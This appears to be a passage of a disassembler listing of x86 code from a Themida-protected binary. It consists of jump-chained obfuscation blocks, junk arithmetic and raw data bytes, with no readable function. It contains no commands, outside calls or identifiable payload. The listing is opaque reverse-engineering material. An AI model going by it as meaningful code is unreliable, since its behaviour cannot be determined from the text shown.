		dd 66E2BF57h, 0F8096ED5h, 0E1B4E95Fh, 0E6890000h, 4C681h
		dd 0B9510000h, 5FB3318Ch, 3188E981h, 0CE015FB3h, 0FFC3C3E9h
		dd 0C0E954FFh, 89000071h, 4C581E5h, 68000000h, 575Fh, 0BA241489h
		dd 4, 0E95AD501h, 7D4Ah
; ---------------------------------------------------------------------------

loc_56415C:				; CODE XREF: Themida_:0055F8C9j
		sub	ebx, esi
		jmp	loc_55EED0
; ---------------------------------------------------------------------------

loc_564163:				; CODE XREF: Themida_:00567CA5j
		push	edi
		mov	edi, 3650214Bh
		add	edi, 33F3128Dh
		xor	ebp, edi
		pop	edi
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		jmp	loc_560BBF
; ---------------------------------------------------------------------------
		dd 0D475A6B8h, 58C2311Dh, 15AD101h, 0ECE981C1h,	8135AB65h
		dd 7B6CECC1h, 0A3E9813Ah, 58394734h, 9639E9h, 243C8900h
		dd 3AE95F54h, 8B000052h, 0C481243Ch, 4,	0E54264BFh, 0E9EF3120h
		dd 0FFFFBBB4h, 74F6815Ah, 8104F65Ah, 690269EDh,	0E9F50159h
		dd 2F51h, 0C05AF428h, 0ECC007ECh, 0A7DBE902h, 0EFC00000h
		dd 0DBF78008h, 0D82C8204h, 0FFD44BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5641FD:				; CODE XREF: Themida_:0056F8CCj
		add	ebp, 4
		jmp	loc_5601B4
; ---------------------------------------------------------------------------

loc_564208:				; CODE XREF: Themida_:0056DDDCj
		mov	[esp], ecx
		mov	ecx, 65E73069h
		push	eax
		push	ebp
		jmp	loc_56F138
; ---------------------------------------------------------------------------
		db 33h
		dd 0F1E92414h, 0BE000040h, 5481F68Ah, 62E9DE01h, 810000C4h
		dd 4ECh, 241C8900h, 0FFC4B8E9h,	0D7015EFFh, 0BF43E9h
		db 0
; ---------------------------------------------------------------------------

loc_564241:				; CODE XREF: Themida_:00571F9Fj
		pop	eax
		add	esp, 4
		push	17F8h
		mov	[esp], ebx
		mov	ebx, 772F4EE4h
		jmp	loc_56CE94
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF59C8h, 243C8B24h, 8304C483h, 0EF8104C4h,	4BC264D4h
		dd 0C781C729h, 4BC264D4h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F9D2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC83240Ch, 240C8904h, 0BF57E189h, 75C14063h, 4509C781h
		dd 0E94F40DCh, 0FFFFC74Ch
; ---------------------------------------------------------------------------

loc_5642A8:				; CODE XREF: Themida_:00565B5Cj
		push	bx
		mov	bl, 0Ch
		sub	cl, bl
		pop	bx
		push	7EC2h
		mov	[esp], ebx
		push	eax
		mov	al, 33h
		xor	al, 57h
		push	ebx
		mov	bl, 17h
		inc	bl
		inc	bl
		and	bl, 0DBh
		add	bl, 9
		jmp	loc_56442E
; ---------------------------------------------------------------------------

loc_5642CF:				; CODE XREF: Themida_:00562FC1j
		mov	ebx, 73D81C78h
		not	ebx
		add	ebx, 0DEA53A43h
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_569277
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 57240C8Bh, 10E9E789h, 0BD000022h,	4EDE2183h
		dd 217FED81h, 0EE014EDEh, 23D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_564319:				; CODE XREF: Themida_:005717B0j
		push	2CD2C48h
		pop	ecx
		jmp	loc_563D3C
; ---------------------------------------------------------------------------

loc_564324:				; CODE XREF: Themida_:00561D59j
		xor	esi, 7FF39A69h
		add	edi, esi
		jmp	loc_5707D8
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0ECh
		dd 4, 0BE243489h, 1E9453C8h, 8101EE83h,	9453C5F6h, 0E9F2291Eh
		dd 562Ch
; ---------------------------------------------------------------------------

loc_564350:				; CODE XREF: Themida_:0056D56Dj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_56B4FB
; ---------------------------------------------------------------------------
aPsh		db 'PИH╩',0
		dd 83F58100h, 4D5EBB46h, 1782BF57h, 0ACE9320Eh,	810000D3h
		dd 0C52B19EAh, 0C2814A00h, 7C990149h, 0F889E951h, 0C781FFFFh
		dd 4, 0B190E9h,	0C8B5600h, 4C48124h, 8B000000h,	0C6E92434h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5643A3:				; CODE XREF: Themida_:00561A4Bj
		sub	esp, 4
		mov	[esp], ebx
		push	678D3779h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_570500
; ---------------------------------------------------------------------------
		dd 30EFC580h, 240C8BE8h, 0AE62E9h, 8C685600h, 5E341613h
		dd 6329EE81h, 0EE8171C7h, 0C24EB05Fh, 93E9F089h, 5DFFFFEBh
		dd 0CCF4E9h, 4EC8100h, 0E9000000h, 84EDh, 4B9h,	0D009E900h
		dd 2B9FFFFh, 1000000h, 0FF5059C8h, 0FF042474h, 81582434h
		dd 4C4h, 2E0CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56441A:				; CODE XREF: Themida_:0056A6E3j
		push	ebx
		jmp	loc_56CB05
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89532404h, 6B7DE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56442E:				; CODE XREF: Themida_:005642CAj
		add	al, bl
		pop	ebx
		add	al, 11h
		push	edx
		mov	dl, al
		mov	bh, dl
		pop	edx
		jmp	loc_55FD19
; ---------------------------------------------------------------------------
		dw 8141h
		dd 7C4FDAF1h, 0CD0BE939h, 8B660000h, 5451240Ch,	68240C8Bh
		dd 1A22h, 0A84E9h
		db 0
; ---------------------------------------------------------------------------

loc_56445D:				; CODE XREF: Themida_:00562C08j
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		jmp	loc_5713F7
; ---------------------------------------------------------------------------

loc_564475:				; CODE XREF: Themida_:0055EEEEj
		not	al
		shr	al, 3
		inc	al
		xor	al, 0Fh
		or	dl, al
		pop	ax
		push	ebx
		jmp	loc_568B8C
; ---------------------------------------------------------------------------

loc_564488:				; CODE XREF: Themida_:00569E81j
		push	ecx
		jmp	loc_55FF98
; ---------------------------------------------------------------------------

loc_56448E:				; CODE XREF: Themida_:0056A59Fj
		add	esp, 4
		push	ebp
		push	1000000h
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_56465A
; ---------------------------------------------------------------------------

loc_5644B0:				; CODE XREF: Themida_:0056F1EEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_567BBB
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 0FFFF9399h
; ---------------------------------------------------------------------------

loc_5644D4:				; CODE XREF: Themida_:005651ABj
		not	ebx
		not	ebx
		sub	ebx, 62D83EBEh
		jmp	loc_55DCC1
; ---------------------------------------------------------------------------
		db 89h
		dd 4682414h, 8B000000h,	17E92414h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5644F3:				; CODE XREF: Themida_:00560256j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		neg	ebp
		push	edx
		push	0AD1FAE9Fh
		pop	edx
		xor	ebp, edx
		pop	edx
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_567EED
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 3383317Ah, 0E956DAF7h, 0DE99h
; ---------------------------------------------------------------------------

loc_56452C:				; CODE XREF: Themida_:005626F1j
		mov	edx, 700E20FAh
		push	ebp
		mov	ebp, 7F0107AFh
		jmp	loc_55F3D1
; ---------------------------------------------------------------------------
aRs1		db 'RИм1',0
		align 2
		dw 15Fh
		dd 7594E9FAh, 0C2810000h, 4949D94Ch, 0FFBF5752h, 2938B75Bh
		dd 5F04247Ch, 0FFBB535Eh, 138B75Bh, 48E95BDEh, 81000024h
		dd 693C72E3h, 26E3816Fh, 0E97EC37Bh, 0FFFFAFEAh, 0E9CF015Eh
		dd 13E5h, 6CCF815Bh, 0C12F8851h, 0F75704EFh, 835F2414h
		dd 0E95601C7h, 0FFFFE005h
; ---------------------------------------------------------------------------

loc_56459C:				; CODE XREF: Themida_:005652C9j
		sub	ebx, 7EFE0332h
		sub	ebx, 1DB30A50h
		push	eax
		jmp	loc_568FD6
; ---------------------------------------------------------------------------
		dw 6857h
		dd 793F2CF6h, 47D7F75Fh, 0FFFFEF81h, 0E947FFFFh, 0FFFFB74Ah
; ---------------------------------------------------------------------------

loc_5645C4:				; CODE XREF: Themida_:00570287j
		or	ebx, 0C09748Ah
		push	56EEh
		mov	[esp], esi
		mov	esi, 79A1551Fh
		xor	ebx, esi
		jmp	loc_564052
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 0EA8159CEh, 393F480Eh, 0C281F201h, 393F480Eh, 5E2434FFh
		dd 4C481h, 14870000h, 0D1C3E924h, 8B660000h, 0DC682404h
		dd 8900000Ch, 8B54242Ch, 26E9242Ch
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564617:				; CODE XREF: Themida_:0056AEB8j
		push	6351h
		mov	[esp], eax
		push	esp
		jmp	loc_56E321
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0CD010000h, 2434FF59h, 9B47E958h, 0CD810000h
		dd 4CB00406h, 76CCCD81h, 0F5810444h, 1108167Dh,	72B8E9h
		dd 2474FF00h, 0B8E4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56465A:				; CODE XREF: Themida_:005644ABj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56FA45
; ---------------------------------------------------------------------------
		dd 0FC2814Ah, 52FBE8E0h, 0F2243481h, 580BA930h,	0A930F235h
		dd 26E95A0Bh, 8100007Ah, 0E97C88EBh, 9097E959h,	248B0000h
		dd 0A82EE924h, 2C89FFFFh, 2474FF24h, 2434FF04h,	4C4815Dh
		dd 8F000000h, 57E92404h, 5700002Bh, 0F70B6BFh, 0E1C3BA11h
		dd 0C2815FB1h, 56AA70DAh, 0FFA777E9h, 79BC68FFh, 0C890000h
		dd 0AB03E924h, 8B660000h, 87682404h, 89000023h,	2F68240Ch
		dd 89000029h, 51552424h, 0FFF398E9h, 17E955FFh
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5646F3:				; CODE XREF: Themida_:0056B79Fj
		mov	[esp], ecx
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81241Ch, 4, 57240489h, 730AE9h
		db 0
; ---------------------------------------------------------------------------

loc_56470D:				; CODE XREF: Themida_:00566B12j
		mov	esi, 1C177788h
		xor	edx, esi
		pop	esi
		add	ecx, 2C556DC8h
		jmp	loc_5605C7
; ---------------------------------------------------------------------------
		dd 5204EC83h, 0BD55E289h, 358747FAh, 47FEF581h,	0EA013587h
		dd 4EA815Dh, 33000000h,	14312414h, 24143324h, 48F545Ch
		dd 24048324h, 24048F04h, 4240483h, 61F5E9h, 241C8B00h
		dd 4C481h, 3E90000h, 0FFFFFFE0h, 669D1C77h, 1CD36659h
		dd 0F6E99C24h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564777:				; CODE XREF: Themida_:0056A842j
		xor	[esp], ecx
		jmp	loc_5682B9
; ---------------------------------------------------------------------------
		db 0BFh
		dd 3350328Fh, 548AE781h, 0F7812B8Dh, 7C6525D2h,	61AFCF81h
		dd 6AE966A8h, 2D0000B1h, 1588789Ch, 0E924148Bh,	0FFFFAC79h
		dd 5C241487h, 8B24048Fh, 3C892424h, 4EC8324h, 0CF68E9h
		db 0
; ---------------------------------------------------------------------------

loc_5647BD:				; CODE XREF: Themida_:005669EBj
		xor	eax, 2BA5B85Ch
		add	edi, eax
		jmp	loc_562D42
; ---------------------------------------------------------------------------
		db 0BAh, 53h, 0B6h
		dd 0DA011B1Ch, 5B2434FFh, 4C481h, 0EA810000h, 75EF0DE3h
		dd 0E905EAC1h, 12A7h
; ---------------------------------------------------------------------------

loc_5647E8:				; CODE XREF: Themida_:00571CCAj
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_563BBB
; ---------------------------------------------------------------------------
		dw 8149h
		dd 20AA10F1h, 77E7E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564806:				; CODE XREF: Themida_:0056905Bj
		push	ebx
		jmp	loc_568859
; ---------------------------------------------------------------------------

loc_56480C:				; CODE XREF: Themida_:005656C4j
		pop	esp
		jmp	loc_5653CC
; ---------------------------------------------------------------------------
aR?ogs		db 'R╨ ?▌GИне',0
		dd 5E08900h, 4,	405h, 24043300h, 33240431h, 0E95C2404h
		dd 0BBECh
; ---------------------------------------------------------------------------

loc_564838:				; CODE XREF: Themida_:00571593j
		xchg	edx, ebx
		inc	ebx
		push	ebp
		mov	ebp, 309818B4h
		jmp	loc_566E71
; ---------------------------------------------------------------------------

loc_564846:				; CODE XREF: Themida_:0056EF1Dj
		mov	[esp], ebp
		mov	ebp, 27472209h
		add	esi, 52724CD1h
		jmp	loc_56BA8D
; ---------------------------------------------------------------------------

loc_564859:				; CODE XREF: Themida_:00571517j
		mov	[esp], eax
		mov	eax, 3E05058Ah
		jmp	loc_570521
; ---------------------------------------------------------------------------

loc_564866:				; CODE XREF: Themida_:00569DFCj
		push	1
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5686AF
; ---------------------------------------------------------------------------
		dw 368h
		dd 0E9000034h, 0B8Ah, 148BD130h, 4C48324h, 0C8BC800h, 4C48324h
		dd 803BB353h, 0F38073EBh, 9308E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5648BE:				; CODE XREF: Themida_:00565DD4j
		sub	edx, eax
		pop	eax
		jmp	loc_56A511
; ---------------------------------------------------------------------------

loc_5648C6:				; CODE XREF: Themida_:00570516j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5616E7
; ---------------------------------------------------------------------------

loc_5648D4:				; CODE XREF: Themida_:00562E00j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 0FFFFFFFFh
		xor	edx, 3A069A4Fh
		push	esi
		jmp	loc_56A0DB
; ---------------------------------------------------------------------------

loc_5648F3:				; CODE XREF: Themida_:0056959Cj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_569BB5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4CBD060Ah, 4E5EBA52h, 0D62977DBh, 53C6295Ah,	0DB4E5EBBh
		dd 0A7C68177h, 1277102h, 0A7EE81DEh, 5B277102h,	5024048Bh
		dd 2DE9E089h, 31FFFFADh, 78E9241Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56493B:				; CODE XREF: Themida_:0056CE68j
		xor	edx, edi
		pop	edi
		neg	edx
		shl	edx, 4
		not	edx
		jmp	loc_56FC75
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 0BE243489h, 59285C6Bh, 815EF229h,	0BD7A1BC2h
		dd 0F27DE97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564966:				; CODE XREF: Themida_:0056E30Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_560DEC
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0F3h
		dd 89426702h, 241C8BD9h, 4B83E9h, 84E95C00h, 8F0000CDh
		dd 895C2404h, 4BA2414h,	81000000h, 3F1054C7h, 81D70140h
		dd 3F1054EFh, 24148B40h, 0FFC89BE9h, 48B66FFh, 43346824h
		dd 3C890000h, 0E9E78924h, 0FFFFC0B5h, 24048F5Ah, 8924248Bh
		dd 4832424h, 34FF0424h,	0C4835D24h, 4C58104h, 83000000h
		dd 0FF5504C5h, 8B042474h, 0C481242Ch, 4, 0E924048Fh, 0FFFFBB6Eh
		dd 4D4B5BBFh, 0BDBA527Eh, 51470C71h, 893401B9h,	0F915B84Dh
		dd 0C8291447h, 0E9D03159h, 6541h, 8904EC83h, 0E92434h
		dd 52000038h, 570DE9h, 24148B00h, 4C481h, 0FF570000h, 5F042474h
		dd 5C24048Fh, 479E68h, 242C8900h, 5E7CF0BDh, 6E5C118h
		dd 0C404C581h, 0F4E9E860h, 87FFFFD3h, 0D5F7242Ch, 59242C87h
		dd 0FFF3D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564A69:				; CODE XREF: Themida_:00563257j
		mov	[esp], edi
		mov	edi, ebx
		push	3C83h
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		push	6CFEh
		mov	[esp], eax
		jmp	loc_56FBAB
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048966h, 0E20037B4h, 5225E9h, 0F5BD5500h, 0E946E625h
		dd 0FFFF8F16h, 2055Dh, 0FF500000h, 58042474h, 0FF9966E9h
		dd 81D6F7FFh, 216F4DC6h, 5EF5014Ah, 8108EDC1h, 0FAC15AEDh
		dd 0D3C281A4h, 2936CE67h, 0D3EA81EAh, 5D36CE67h, 582434FFh
		dd 4C481h, 0E9520000h, 0FFFF8E8Ah
; ---------------------------------------------------------------------------

loc_564AE4:				; CODE XREF: Themida_:0056883Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7851h
		jmp	loc_572622
; ---------------------------------------------------------------------------
		db 55h
		dd 5A4471BDh, 5DEA2937h, 0FFA18EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564B05:				; CODE XREF: Themida_:0056F4C7j
		push	eax
		jmp	loc_56BEC5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83E91C77h, 0F700004Ch, 18C781DFh, 814E8F3Fh,	32686AC7h
		dd 5FF931E7h, 0FF93EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564B29:				; CODE XREF: Themida_:0056015Dj
		shl	ecx, 5
		add	ecx, 49830AFEh
		xor	ecx, 137E126Ah
		sub	ecx, 3D02F2F2h
		sub	edx, ecx
		jmp	loc_56008B
; ---------------------------------------------------------------------------

loc_564B45:				; CODE XREF: Themida_:0055E330j
		pop	esi
		add	esp, 4

loc_564B49:				; CODE XREF: Themida_:00560835j
		push	3D1Dh
		mov	[esp], ebx
		jmp	loc_56C04D
; ---------------------------------------------------------------------------

loc_564B56:				; CODE XREF: Themida_:00563A18j
		add	eax, 6258756Eh
		sub	eax, 0CC83F49Ah
		add	esi, eax
		pop	eax
		add	ebx, 6F9A0D9Bh
		add	ebx, 6DBD3C36h
		add	ebx, esi
		sub	ebx, 6DBD3C36h
		sub	ebx, 6F9A0D9Bh
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esi
		jmp	loc_56937D
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFD9CEE9h, 4EC81FFh, 89000000h, 0D0B5240Ch,	7FE9EDD0h
		dd 8100004Ah, 1F78B6E9h, 24048B75h, 0AA5FE9h, 24148900h
		dd 0D00053B2h, 2803045Ah, 0E9032CD8h, 0FFFFBE44h, 0C5815D54h
		dd 4, 2BF57h, 0AFE90000h, 8B0000CFh, 0C483243Ch, 4EC8104h
		dd 89000000h, 12E92434h, 28FFFFB9h, 0E9525AD0h,	0AD8Dh
		dd 0C1835F5Fh, 33D3E902h, 0EF810000h, 0EEF083Bh, 0C781EF29h
		dd 0EEF083Bh, 8B2434FFh, 0E8E9242Ch, 1FFFFA4h, 0B1D3E9E8h
		dd 34FFFFFFh, 71AAE924h, 0D9880000h, 0CB88D9F6h, 0AD79E9h
		dd 0B9514800h, 33A84AD8h, 40ADE981h, 9EE9B4F4h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564C5F:				; CODE XREF: Themida_:005651EAj
		add	esp, 4
		xchg	ecx, edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5682EC
; ---------------------------------------------------------------------------
		dw 8143h
		dd 0C42F01E3h, 0DEC3817Fh, 29DA750Dh, 3675E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564C86:				; CODE XREF: Themida_:00565462j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 49FE0089h
		sub	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_56CDA8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 8BC7E924h, 0D3F7FFFFh, 27CC381h, 0DA317BB2h,	1734E9h
		dd 4EC8300h, 0BD242C89h, 7E722153h, 6714B850h, 0C53124C5h
		dd 1EB46858h, 2C890000h, 815D5F24h, 0B89EFBEFh,	7F76E940h
		dd 3C330000h, 243C3124h, 5C243C33h, 54241C89h, 4C3815Bh
		dd 68000000h, 1AB5h, 0BE243489h, 31591375h, 0C582E9h, 20EF8100h
		dd 8B6B2A25h, 5EE9240Ch
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_564D13:				; CODE XREF: Themida_:0056BB13j
		inc	esi
		jmp	loc_55F3BD
; ---------------------------------------------------------------------------

loc_564D19:				; CODE XREF: Themida_:0056EFDAj
		pop	esp
		add	al, dl
		add	al, 4Eh
		pop	edx
		push	edx
		mov	dh, 0DAh
		shr	dh, 8
		sub	dh, 55h
		push	dx
		not	byte ptr [esp+1]
		pop	dx
		sub	dh, 0D4h
		push	ecx
		mov	cl, 0E3h
		or	dh, cl
		jmp	loc_56C5B5
; ---------------------------------------------------------------------------

loc_564D3D:				; CODE XREF: Themida_:005635ABj
		sub	ecx, 201046F2h
		add	[ecx], edx
		pop	ecx
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5666C3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5104EEC0h, 5250AFB1h, 686634B6h, 34280000h, 4D82E924h
		dd 0C7810000h, 4, 8704C783h, 0F65C243Ch, 30C530D0h, 66C530E8h
		dd 3743E953h, 0F3290000h, 81C3015Eh, 9C2C14C3h,	0DA1DE95Eh
		dd 14870000h, 34FF5C24h, 2434FF24h, 4C48359h, 161368h
		dd 243C8900h, 63AE9h, 0E9B6B500h, 6B0Ch, 8702C783h, 248B243Ch
		dd 2F89E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564DC2:				; CODE XREF: Themida_:0056A0D6j
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_569050
; ---------------------------------------------------------------------------
aSs_0		db 9,'ИИцм',0
		db 0
; ---------------------------------------------------------------------------

loc_564DD9:				; CODE XREF: Themida_:0056EB42j
		mov	ebp, esp
		jmp	loc_55E37E
; ---------------------------------------------------------------------------
		dd 0E5E9F820h, 83FFFFB9h, 0E95204C4h, 0C459h, 7DD968h
		dd 240C8900h, 3A7668h, 24248900h, 4240481h, 0FF000000h
		dd 83592434h, 0BA5204C4h, 4, 835AD101h,	48904ECh, 2B824h
		dd 7AE90000h, 5F000046h, 4C481h, 0C7810000h, 0CB6C48FDh
		dd 3C8BF989h, 4C48124h,	0E9000000h, 0AD0Bh, 0E981D1F7h
		dd 1B7F0043h, 8759C801h, 0FF5C2404h, 62E92434h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564E5B:				; CODE XREF: Themida_:0056D702j
		push	ecx
		jmp	loc_56FBE3
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68300h, 0E9243487h, 4B8Fh
; ---------------------------------------------------------------------------

loc_564E74:				; CODE XREF: Themida_:00571CAFj
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		mov	edi, [esp]
		add	esp, 4
		inc	edi
		dec	edi
		xor	edi, 9CA22DC9h
		add	ebp, 6D891DC4h
		sub	ebp, edi
		sub	ebp, 6D891DC4h
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Bh
		push	2389h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	esi, [esp]
		jmp	loc_56AB47
; ---------------------------------------------------------------------------

loc_564ED6:				; CODE XREF: Themida_:00563A64j
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_55F14D
; ---------------------------------------------------------------------------
aI4Sui		db '┴4$И·╗',0
		dd 2434FF00h, 0BF71E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564EF2:				; CODE XREF: Themida_:0057146Aj
		sub	eax, 0CA6179Dh
		sub	eax, esi
		add	eax, 0CA6179Dh
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, eax
		jmp	loc_5603B0
; ---------------------------------------------------------------------------

loc_564F0E:				; CODE XREF: Themida_:0056D865j
		pop	eax
		mov	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_567CCA
; ---------------------------------------------------------------------------
aIVT		db '\┴<$V╬Б',0
		dd 90BF2779h, 0E900158Ah, 0FFFFE26Fh
; ---------------------------------------------------------------------------

loc_564F2C:				; CODE XREF: Themida_:0056518Ej
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_567AB5
; ---------------------------------------------------------------------------
		db 0B8h, 0ABh, 71h
		dd 8FE93C64h, 0BF000015h, 22A33DC7h, 0A358E9h, 0E94B900h
		dd 0F7491A58h, 48E181D1h, 0F76F3308h, 44E955D9h, 0F6000042h
		dd 0FAB151D0h, 14E9C828h, 54000046h, 8B2434FFh,	0C481241Ch
		dd 4, 6916E9h, 0E9EA0100h, 0D62Dh
; ---------------------------------------------------------------------------

loc_564F88:				; CODE XREF: Themida_:0055E48Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_561DFC
; ---------------------------------------------------------------------------

loc_564F9E:				; CODE XREF: Themida_:005659D6j
		sub	dl, 0ACh
		and	dl, 61h
		sub	dl, 85h
		sub	ah, dl
		jmp	loc_56CDCD
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 45B81A69h, 4D03EDC1h, 6EF5ED81h, 0F58140F7h,	0DC03230Eh
		dd 295DEA89h, 24148BD6h, 104C483h, 24348BF0h, 4C481h, 5E050000h
		dd 0E9101B43h, 5552h
; ---------------------------------------------------------------------------

loc_564FE4:				; CODE XREF: Themida_:0055FFABj
		neg	ebx
		jmp	loc_56F09A
; ---------------------------------------------------------------------------
		dd offset dword_457444+1FD24h
		align 10h
		dd 24048F54h, 9C13E9h
		db 0
; ---------------------------------------------------------------------------

loc_564FF9:				; CODE XREF: Themida_:0055DF42j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55ECCE
; ---------------------------------------------------------------------------
		db 50h
		dd 0DFBE9h, 0F2E95500h,	5CFFFFC8h, 7F26E9h, 80DEF600h
		dd 92E9C2EEh
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565037:				; CODE XREF: Themida_:00560DFDj
		mov	[esp], ebx
		push	ecx
		jmp	loc_55FF36
; ---------------------------------------------------------------------------

loc_565040:				; CODE XREF: Themida_:0056D3FBj
		mov	edi, 1CD62FF6h
		push	ebp
		jmp	loc_568FAB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 881BE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565052:				; CODE XREF: Themida_:00567AE5j
		xchg	ebp, esi
		shl	esi, 5
		xor	esi, 0E5B00834h
		or	edx, esi
		pop	esi
		shl	edx, 5
		shr	edx, 8
		jmp	loc_56292A
; ---------------------------------------------------------------------------

loc_56506B:				; CODE XREF: Themida_:00562A51j
		mov	[esp], ecx
		jmp	loc_570AB7
; ---------------------------------------------------------------------------
		db 0F7h
		dd 81D6F7D6h, 1F294C6h,	52DBE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565082:				; CODE XREF: Themida_:0056F559j
		mov	esi, 63981151h
		mov	edx, 0E8BA5BBFh
		add	edx, 4DFD6E0Eh
		push	ebp
		mov	ebp, 0E633694h
		jmp	loc_569D9A
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D0h
		dd 814FD87Bh, 7D6F9CEDh, 2E5C17Bh, 7689B850h, 0F7E96D5Bh
